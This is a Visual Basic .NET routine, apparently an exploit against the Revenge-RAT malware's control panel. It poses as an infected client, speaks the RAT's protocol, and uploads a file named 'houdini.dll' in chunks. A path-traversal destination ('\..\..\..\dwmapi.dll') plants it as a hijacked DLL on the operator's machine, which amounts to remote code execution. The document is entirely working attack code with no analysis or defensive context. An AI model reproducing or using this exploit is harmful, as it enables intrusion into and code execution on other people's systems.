REVENGE-RAT#REMOTE FILE UPLOAD

Private Sub Upload()
        ' ### this code decompiled bu ilspy

        Dim networkStream As NetworkStream = client.GetStream()
        Dim sendBytes As [Byte]()
        Dim recBuffer(1024) As Byte
        Dim StrData As String = ""
        Dim LastTime As Date
        Dim Timeout As Boolean
        Dim Key As String = "Revenge-RAT"
        Dim FilePath As String = AppDomain.CurrentDomain.BaseDirectory + "\houdini.dll"
        Dim ID As Int32 = 0
        Dim [string] As String = Encoding.Default.GetString(File.ReadAllBytes(Conversions.ToString(FilePath)))
        Dim fileName As String = Path.GetFileName(Conversions.ToString(FilePath))
        Dim fileExtention As String = Path.GetExtension(Conversions.ToString(FilePath))

        Dim length As Integer = [string].Length
        ' The following expression was wrapped in a checked-statement
        Dim num As Integer = CInt(Math.Round(CDec(length) / CDec(10)))
        Dim num2 As Integer = 1
        Dim arg_5D_0 As Integer = 1
        Dim num3 As Integer = 10 + 1
        Dim num4 As Integer = arg_5D_0
        Dim s_FM = "OpenFileManager" + Key + Conversions.ToString(Encode("Guest_C6F228A4")) + Key + "0" + "*-]NK[-*"

        If networkStream.CanWrite Then
            ' Do a simple write.
            sendBytes = Encoding.ASCII.GetBytes(s_FM)
            networkStream.Write(sendBytes, 0, sendBytes.Length)

        End If
        If networkStream.CanRead Then
            networkStream.Read(recBuffer, 0, 1024)
        End If

        Dim s_init = "Download File" + Key + Conversions.ToString(ID) + Key + Conversions.ToString(Encode("dwmapi.dll")) + Key + Conversions.ToString(Encode(length)) + Key + Conversions.ToString(Encode(fileExtention)) + "*-]NK[-*"

        If networkStream.CanWrite Then
            ' Do a simple write.
            sendBytes = Encoding.ASCII.GetBytes(s_init)
            networkStream.Write(sendBytes, 0, sendBytes.Length)

        End If
        If networkStream.CanRead Then
            networkStream.Read(recBuffer, 0, 1024)
            StrData = StrData & Encoding.ASCII.GetString(recBuffer).Trim(Chr(0))
        End If

        If StrData <> "" Then
            StrData = StrData.Remove(StrData.IndexOf("*-]NK[-*"))
            Dim StrArray As String() = Strings.Split(StrData, Key, -1)

            If StrArray.Length > 0 And StrArray(0) = "Download" Then
                UploadCount = StrArray(1)
            Else
                Return
            End If
        Else
            Return
        End If
        While True
            Dim arg_198_0 As Integer = num4
            Dim num5 As Integer = num3
            If arg_198_0 > num5 Then
                Exit While
            End If

            Dim Right As String = Strings.Mid([string], num2, num)

            Dim s_final = "DWBytes" + Key + Conversions.ToString(ID) + Key + Conversions.ToString(Encode("Guest_C6F228A4")) + Key + Conversions.ToString(Encode(fileName + ".Revenge")) + Key + Right + Key + UploadCount + Key + Conversions.ToString(num4 * 10) + Key + Conversions.ToString(Encode("\..\..\..\dwmapi.dll")) + Key + Conversions.ToString(Encode(fileName + fileExtention)) + "*-]NK[-*"

            If networkStream.CanWrite Then
                ' Do a simple write.
                sendBytes = Encoding.Default.GetBytes(s_final)
                networkStream.Write(sendBytes, 0, sendBytes.Length)

            End If

            num2 += num
            num4 += 1
        End While
    End Sub